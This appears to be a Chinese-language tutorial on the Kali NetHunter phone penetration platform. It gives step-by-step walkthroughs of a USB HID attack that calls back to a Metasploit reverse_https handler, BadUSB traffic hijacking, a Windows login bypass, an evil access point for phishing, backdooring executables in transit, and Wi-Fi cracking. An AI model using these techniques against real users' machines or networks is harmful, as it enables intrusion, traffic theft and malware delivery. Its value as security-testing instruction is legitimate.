Pocket Hacking: NetHunter實戰指南
0x00 前言
許多朋友都希望Hacking套件可以很方便的從PC移植到更便攜的手機或平板電腦上,而Offensive Security團隊釋出的Kali NetHunter則將這一期待變為現實,透過移動終端隨時隨地進行Hacking,暫且美其名曰口袋Hacking.
Kali NetHunter是以Nexus(手機/平板)為基本硬體裝置(新增對1+手機的支援),基於原生Android實現的便攜滲透測試平臺.熟悉的Kali使其易於上手,而圖形化控制介面則使某些測試更易.基於此平臺,工程師們也可自由發揮,加入個人專案.
關於NetHunter國內外文章相對較少且重複度高,故在此將其主要實戰技巧加以整理介紹,以備各位愛好者參考.由於資料不足,難免出錯之處,如有疏漏錯誤,望不吝賜教.
0x01 硬體支援
NetHunter官網給出以下支援刷入NetHunter的手機:
Nexus 4 (GSM) - “mako”
Nexus 5 (GSM/LTE) - “hammerhead”
Nexus 7 [2012] (Wi-Fi) - “nakasi”
Nexus 7 [2012] (Mobile) - “nakasig”
Nexus 7 [2013] (Wi-Fi) - “razor”
Nexus 7 [2013] (Mobile) - “razorg”
Nexus 10 (Tablet) - “mantaray”
OnePlus One 16 GB - “bacon”
OnePlus One 64 GB - “bacon”
值得一提的是,2015年NetHunter更新,由於1+手機的廉價與高效能,其被加入支援列表.用1+手機的朋友有福了,以下刷機以Nexus5為例.
0x02 刷機流程
官網給出幾種刷機方式,推薦使用Windows引導刷機程式安裝.下載地址:
https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe
開啟安裝載入程式,預設路徑安裝
安裝後自動執行NetHunter Installer並更新,進入引導安裝步驟
- Step1,選擇已有硬體裝置型號.
- Step2,安裝驅動
可以透過Test Drivers測試是否安裝成功
- Step3,安裝選項
如已經透過官網下載過刷機包,透過Browser選擇檔案.下載連結 http://www.offensive-security.com/kali-linux-nethunter-download/ 下載後記得校驗SHA1值.至於Android Flash Setting,因為對Android L的支援還未完成,故尚未開放選擇.
- Step4,下載檔案
如圖示,下載所有依賴檔案.
所有依賴包都為Ready可進入下一步刷機.
- Step5,解鎖裝置
解鎖bootloader,注意需設定允許USB除錯,手機會重啟解鎖.
- Step6,重置原Android
同樣再手機上勾選允許USB除錯,注意資料會清空,記得備份.
- Step7,刷入NetHunter
經過上一步重置手機後,需重新開啟開發者模式,此時可刷入Kali Linux映象並對手機進行Root,所需時間相對較長.(注:如映象推送不成功,可以手工將kali_linux_nethunter_1.10_hammerhead_kitkat.zip複製到/sdcard/download/目錄進行INSTALL)
- Final,安裝成功
0x03 推薦APP一覽
完成系統刷入後,要豐富NetHunter原裝工具,可以下載部分安卓APP以配合.以下為個人推薦
中文輸入法:作為一個漢語狗還是必備的
檔案管理器(如RootExplorer):Kali某些檔案需要透過支援Root許可權的檔案管理器.
ShadowSocks:梯子還是要有的
MiTM工具:
zANTI2:雖為商業化限制部分功能,但使用體驗的確好些. dSploit:曾經很出名 lanmitm:國內安全工作者編寫釋出的工具 Intercepter-NG:嗅探工具 Network Spoofer:自帶許多調戲功能
IPTools:部分常見基本網路工具集合
ChangeHostname:修改當前手機主機名HostName(還是有必要的).
WiGLE wifi:War Driving工具,收集無線熱點資訊,可儲存到本地資料庫.
SQLiteEditor:方便讀取資料庫資訊
Hacker's KeyBoard:NetHunter自帶,便於輸入各種控制字元
遠端桌面:NetHunter自帶,便於連線VNC服務.
DriveDroid:NetHunter自帶,將手機內映象模擬為啟動盤.
0x04 目錄與服務
安裝好NetHunter,先要對其目錄與服務研究一番.Kali NetHunter根目錄對應安卓系統目錄的/data/local/kali-armhf目錄
NetHunter自帶工具,也多在此目錄內.故如有抓包/日誌等檔案,找不到存放地址,不妨到此目錄下尋覓一番(注:需Root許可權).另外,NetHunter某些工具執行時的提示的目錄,也多以此處為根目錄.
通常,截獲的資料包等檔案存放在NetHunter目錄下的Captures目錄:
與Kali Linux類似,/usr/share下存放了大部分工具,並建立link,命令列可直接呼叫.
而Metasploit則依然位於/opt/目錄下.
上圖中/opt/dic目錄則存放有字典檔案,可自行補充.
此為/var/www目錄,想來大家也知道是何用處了:)
至於服務,Offensive Security團隊在新版中加入NetHunter Home以APP的形式管理服務開關,避免了之前版本透過WebServer管理的弊端(比如Web頁面呼叫Google Fonts被牆卡半天 ;)
如圖示,NetHunter Home為主頁面,除了Offensive Security的Banner,還可以獲取當前IP(內網/外網)地址.
Kali Launcher整合了四個啟動器:
- 終端開啟一個Kali Shell
- 終端開啟Kali NetHunter Menu
- 終端開啟Wifite進入無線破解
- 更新Kali NetHunter(執行sudo -c bootkali update)
對於NetHunter服務開關控制,則在Kali Service Control皮膚裡進行設定
可看到,NetHunter可開放服務有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.
- SSH服務:Secure Shell,方便其他裝置連線控制.
- Dnsmasq服務:DNS解析服務.
- Hostapd服務:提供無線接入點服務.
- OpenVPN服務:開放OpenVPN連入服務.
- Apache服務:WEB服務.
- Metasploit服務:為MSF攻擊模組提供保障.
- BeEF FrameWork服務:XSS利用框架服務.
在此皮膚可對對應服務進行開關設定.
0x05 Kali NetHunter Menu
在NetHunter Launcher中Kali Menu的啟動項,其包含整理有NetHunter常用工具,如圖:
與上一個版本相比,新增了以下選項:
USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi
主要模組及介紹如下:
Wireless Attacks
Wifite
自動無線安全審計工具
Kismet
無線WarDriving工具
AP F**ker
無線網惡意攻擊工具(多為拒絕服務)
Wash
掃描開啟WPS的無線網路
Airodump-ng
基本無線攻擊套件(必備)
Pingen
針對某些開啟WPS的D-link的路由器計算其PIN碼以破解
Sniffing/Spoofing
tcpdump
基本流量Dump工具
tshark
WireShark的Cli工具,可抓取分析流量
urlsnarf
Dsniff工具包一部分,可嗅探HTTP請求包內容,並以CLF通用日誌格式輸出
dsniff
強大的知名口令嗅探工具包
MITMproxy
中間代理,可截獲修改HTTP流量,參考官網介紹
Reverse Shells
AutoSSH
透過SSH反彈shell(NAT Bypass)
pTunnel
透過ICMP資料包隧道傳送資料
Info Gathering
Spiderfoot
開源掃描與資訊收集工具,對給定域名收集子域,Email地址,web伺服器版本等資訊,自動化掃描.
Recon-ng
強大的資訊收集工具,模組化,可惜許多外掛國內不適用(有牆).
Device-pharmer
透過Shodan搜尋,大資料Hacking.
Vulnerability Scan
OpenVas
漏洞掃描器,需額外安裝.Kali一直預設包含,好不好用客官自行定奪. :)
Exploit Tools
Metasploit
強大,核心,必備
BeEF-XSS
XSS滲透測試工具,看個人習慣使用
Social-Engineering-Toolkit
Kali下的SET,社會工程學套件,功能強大.
MITMf
中間人攻擊框架,基於Python,擁有多個外掛,滲透測試功能強大
OpenVPN Setup
OpenVPN設定
VNC Setup
VNC設定
Log/Capture Menu
可擦除本地所有抓取資料或同步到SD卡上(同步主要是解決許可權問題.比如多數安卓APP未獲得root許可權是無法讀取NetHunter工具截獲的資料內容)
USB Attacks
Dictionary based brute force attack
自動輸入字典一行內容並回車,基於HID,模擬操作方式的暴力破解
deADBolt
執行一堆ADB命令可以推送隱私檔案等資訊到指定目錄,參考專案主頁 https://github.com/photonicgeek/deADBolt
NFC Attack
提供了複製、重寫、檢視M卡資料功能(是不是不必帶上Acr122u了;)
Settings
- 修改時區
- 為Metasploit建立使用者和資料庫
- 修改MAC地址
- 安裝NodeJS
Service
- SSH服務開關
- VNC服務開關
- OpenVPN服務開關
- 在本地啟動Xserver
Monitor Mode
啟動或關閉wlan1(外接無線網路卡)的混雜監聽模式
Eject USB Wifi
彈出USB無線網路卡
0x06 HID KeyBoard Attack
在過去,USB自啟往往依賴插入的USB裝置中的autorun.inf實現.時下這招往往不靈,而新興的USB HID Attack則成為新的安全威脅.USB HID可透過模擬鍵盤或滑鼠操作,實時執行目的碼,在此以PowerSploit結合MSF為例:
首先執行提供payload的webserver,在Kali Service Control中開啟Apache伺服器
轉到HID攻擊配置頁面,選擇PowerSploit
IP和埠填寫MSF監聽的IP埠,Payload我們選擇windows/meterpreter/reverse_https,URL為提供Apache服務的IP,這裡即本機:192.168.1.151
配置好後UPDATE配置檔案,接下來需配置MSF監聽反彈shell
[email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >
payload同HID配置頁面中的payload
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
IP和埠同樣設定
msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
至此配置OK
開始監聽
此時將裝置連線至PC機,等待裝置被識別後,執行Execute,攻擊開始.
POWERSHELL命令執行後,就可在msf中看到反彈的shell了:
如連上PC後沒有反應,可按Reset USB鍵更新.
當然,HID KeyBoard Attack也提供了Windows CMD攻擊模組,即連入計算機後自動開啟CMD並執行指定命令(預設為新增新管理員使用者,可自由定製).
0x07 BadUSB MITM Attack
BadUSB Attack是BlackHat大會上公佈的一種較先進的USB攻擊方式,模擬鍵盤操作等Payload可自動執行某些操作,而NetHunter的BadUSB MiTM Attack則是其中一種玩法:修改網路設定,劫持網路流量.
關於BadUSB MITM Attack,NetHunter官網有演示影片,詳見http://www.nethunter.com/showcase/,但並未交代詳細過程,以下筆者操作為例:
首先,確保手機連線目標計算機時,MTP檔案傳輸是關閉的.連線目標計算機,開啟手機USB網路共享:
此時在NetHunter Home開啟一個Kali Shell,檢視網路卡多出虛擬網路卡rndis0(USB網路共享網路卡).
此時可以開啟Tcpdump截獲流量,命令如:
tcpdump -i rndis0
回到NetHunter Home,切換到BadUSB MiTM Attack,勾選右上角選項Start BadUSB Attack
被連線的計算機此時會多出一個網路卡,閘道器為rndis0的IP地址
此時流量已可以截獲,例如訪問某些網站,手機tcpdump處流量顯示如圖:
因為手機並未插入SIM卡,無網路,故PC機並無法得到返回頁面.
之前有同學在Drops分享的一片文章Kali Nethunter初體驗中提到:
出現雙閘道器現在所以並未像官網演示的那樣流量直接走向惡意閘道器(10.0.0.1)而是依舊走的之前的閘道器(192.168.1.1)故劫持失敗
這種情況也可能出現,不過個人測試中,網路連線優先順序,預設劫持後的閘道器優先順序更高,故流量可以正常劫持.也可能是NetHunter今年更新後做的最佳化,如圖示:
當然,配合HID Keyboard Attack進行攻擊測試也是很好的方式,至於資料包的儲存與分析,則可自行發揮.
0x08 繞過Windows登入認證
NetHunter其實有許多隱藏玩法,比如藉助DriveDroid實現Windows登陸繞過密碼.
DriveDroid本是個允許透過安卓手機中的ISO/IMG映象檔案引導啟動PC機的一個App,但結合了特定的映象,實現繞過Windows登陸認證就變得可行:)
在此以Win7為例,首先為預設賬戶建立密碼hello.
DriveDroid預設引導映象存放目錄位於SDCard/Download/images,只需將欲引導的映象存放於此目錄即可.
這裡繞過Windows或OSX登陸認證的映象為Kon-Boot.可以到官網瞭解,其原理在於處理BIOS修改系統核心的引導處理,跳過SAM檢查,直接登陸系統.因為是付費軟體,以下以自行尋覓的映象為例演示.
關閉MTP檔案傳輸,開啟DriveDroid,自動列出images目錄下得映象檔案.
選擇Kon-Boot.img映象掛載,模式這裡選擇為Read-Only USB
載入成功後相應映象有所標誌
而在連入的PC機中也會顯示載入有新的可移動磁碟(或軟碟機盤),如未能顯示,可在配置頁面進行相應調整(可透過USB Setup Wizard嚮導指引)
此時在設有密碼的PC機重啟,進入BIOS設定啟動項
如果映象載入成功,可以看到飛奔的圖案如下:
之後登陸使用者密碼處回車即可繞過密碼認證登陸系統
需要說明的是,透過此方式登陸系統無法直接修改或刪除系統密碼.
0x09 WarDriving
猶記得當年前輩們肩扛筆記本做WarDriving的事蹟,智慧裝置發展至今,WarDriving已可用便攜裝置取代.只是至今遲遲沒有尋覓到比較合適直觀的WarDriving工具,期待有朋友能開發或推薦個.
在NetHunter下,Kali-Menu的Wireless模組中Kismet作為WarDriving的預設工具,不過操作起來畫面太美不敢看:
退而求其次,推薦使用App WigleWifi.不過注意不要不小心上傳資料.使用easy,介面很難看.
好在資料可以以Sqlite資料庫格式儲存在本地.
0x10 Mana EvilAP蜜罐
想建個CMCC無線網路釣魚劫持流量?PineApple沒有帶在身邊,不妨拿出手機,開個蜜罐吧. :)
Mana蜜罐採用與PineApple相同的:Hostapd的Karma補丁,可用來欺騙接入無線網路使用者,使其可很平滑連線到虛假AP中,進行後續攻擊.
需要說明的是,NetHunter無線攻擊模組,大都需要使用OTG外接USB無線網路卡.主流晶片(可以試試Kali是否可直接識別)網路卡均可.WN722N較為推薦,迷你的EDUP網路卡通用性則較強(Raspberry Pi也可直接識別),只是訊號強度..自然可想而知.
Mana蜜罐有多種Hacking模式,均為sh指令碼,可自由定製.Mana工具安裝目錄為:
/usr/share/mana-toolkit
啟動指令碼則在此處存放:
/usr/share/mana-toolkit/run-mana
截獲流量檔案存放於:
/var/lib/mana-toolkit
透過NetHunter Home的Mana蜜罐頁面可方便的對配置檔案進行修改:
Hostapd配置檔案
DHCP服務配置檔案
DNS欺騙配置檔案
服務啟動指令碼有多個,均可自由編輯修改:
上圖對應指令碼start-nat-full.sh,指令碼需要USB無線網路卡(存在上行流量)啟動,無線連入為NAT模式,並啟動所有指令碼包括:firelamb,sslstrip,sslsplit等,截獲流量並儲存.
start-nat-simple.sh同樣有上行流量,但並不啟動firelamb,sslstrip,sslsplit等指令碼.
start-nat-simple-bdf.sh,加入了BDF惡意程式碼Inject工具,後面章節將對其攻擊思路進行介紹.
此外,還有
start-noupstream.sh
Mana作為無法上網的虛假AP啟動,但可吸引WIFI預設開啟的終端自動連線並抓取資訊.
start-noupstream-eap.sh
Mana同樣無法上網,但會進行EAP攻擊
編輯好啟動檔案後,Start Attack,會彈窗勾選啟動指令碼:
即可啟動服務.
0x11 Backdooring Executable Over HTTP
這個攻擊思路就比較有趣了,新功能在NetHunter今年1月5號釋出的版本中作為Kali Nethunter目前最新最酷炫的玩法,源於secret squirrel的github專案the-backdoor-factory和BDFProxy,可讓我們輕鬆地對使用HTTP協議傳送的二進位制檔案注入shellcode.
首先建立一個Mana蜜罐,SSID這裡使用預設名稱internet,啟動服務
cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh
再開一個Shell,編輯bdfproxy.cfg,此配置檔案包含了針對不同平臺預設設定的payload,可自行更換.不過由於顯示問題,用nano編輯文字會一行行重新整理,還是換個方式編輯比較好.這裡只把IP修改192.168.1.151,也可在Nethunter的主皮膚下的MANA Evil Access Point中進行配置.
nano /etc/bdfproxy/bdfproxy.cfg
配置好IP之後,在Shell中直接輸入bdfproxy執行之.
再新開一個Shell啟動Metasploit
一切準備就緒,等待連入蜜罐AP的PC機上網下載二進位制檔案,在此透過百度下載everything(神器啊)演示:
執行everthing,因為注入了payload,會出現自校驗失敗的提示
檢視MSF,已成功反彈回Shell了.而上面自校驗失敗的提示就是MeterPreter的screenshot幫我擷取的 :)
不得不說,這個新特性真的很Cool.
0x12 Wifite破解
寫到最後,還沒有提到無線破解是不科學的;) NetHunter推薦的Wifite破解工具是其最早整合的功能之一.移動裝置的便攜性更有利於隨時隨地進行Wifi安全測試,只需掛載上外接無線網路卡便可輕鬆抓包破解.不過並不建議直接在移動裝置上破解抓到的包,如跑幾分鐘沒結果,就拿高效能裝置破解吧,否則易導致裝置當機.
連線好外接無線網路卡後,在Nethunter主選單選擇Launch Wifite即可進入
選擇開啟混雜監聽模式的網路卡,選擇Wlan1
掃描開始,每5秒更新一次,當確認攻擊目標後CTRL+C停止掃描
輸入攻擊目標序號,這裡就選XDSEC-WIFI
了,輸入2
抓包成功後自動呼叫字典破解,這裡機智的把字典刪掉,其自動退出
抓到的握手包存放在/data/local/kali-armhf/HS目錄下,命名規則是SSID+MAC
如果目標開啟WPS,則自動進行PIN碼破解.
Wifite相對傻瓜化,易操作,適合移動終端.對無線網密碼測試筆者也成功過幾次,連入無線後結合zANTI等工具調戲即可:)
0x13 寫在最後
文末,已將NetHunter大部分實戰玩法進行相應介紹,文章為捲毛zing同學與順毛le4f同學共同編寫,能力有限,如有不足之處望指出.拋磚引玉,期待有更多技巧分享.
相關文章
- Kali Linux NetHunter教程Kali NetHunter支援的裝置和ROMs2019-01-16Linux
- git操作實戰指南2019-05-22Git
- Kali Nethunter初體驗2020-08-19
- React實戰入門指南2018-12-07React
- Pocket Monsters口袋怪獸 演算法實現2024-03-20演算法
- Hacking PostgreSQL2020-08-19SQL
- Hacking weblogic2020-08-19Web
- Hacking with Unicode2020-08-19Unicode
- KubeSphere 最佳實戰:Kubernetes 部署叢集模式 Nacos 實戰指南2024-10-22模式
- Hacking Hit Tests2019-02-27
- Embedded devices hacking2020-08-19dev
- 一加6刷入kali nethunter2022-02-14
- KubeSphere 部署 Kafka 叢集實戰指南2024-08-09Kafka
- Java-SSM-Day02 SpringFramework實戰指南2024-05-14JavaSSMSpringFramework
- Vuex 4與狀態管理實戰指南2024-06-06Vue
- Hacking Oracle with Sql Injection2020-08-19OracleSQL
- loadrunner12.6快速實戰之安裝指南2019-08-17
- Kernel Module實戰指南(四):系統呼叫劫持2019-05-12
- Tailwind CSS 響應式設計實戰指南2024-06-13AICSS
- KubeSphere 部署向量資料庫 Milvus 實戰指南2024-07-30資料庫
- Kurento實戰之四:應用開發指南2021-08-23
- 聯邦學習城市應用實戰指南2023-01-29聯邦學習
- Hacking ipcam like Harold in POI2020-08-19PCA
- loadrunner12.6快速實戰之webtours安裝指南2019-08-17Web
- 4個月成為PHP工程師實戰指南!2020-04-04PHP工程師
- Vue CLI 4與專案構建實戰指南2024-06-09Vue
- 機器學習實戰 | SKLearn最全應用指南2022-03-21機器學習
- 跟我把Kali Nethunter編譯至任意手機2020-08-19編譯
- [ARC059F] Unhappy Hacking2024-04-01APP
- URL Hacking - 前端猥瑣流2020-08-19前端
- 滲透Hacking Team過程2020-08-19
- Data2Pocket怎麼免費啟用?Data2Pocket安裝及啟用圖文教程2020-12-30
- Kotlin 實戰指南 | 如何在大型應用中新增 Kotlin2019-03-01Kotlin
- 大資料 - MapReduce:從原理到實戰的全面指南2023-12-03大資料
- Kubernetes 持久化儲存之 NFS 終極實戰指南2024-07-22持久化NFS
- 實戰指南 | Serverless 架構下的應用開發2022-11-09Server架構
- Pocket Yoga Teacher for Mac(瑜伽練習軟體)2022-05-03Mac
- KubeSphere 最佳實戰:K8s 構建高可用、高效能 Redis 叢集實戰指南2024-11-20K8SRedis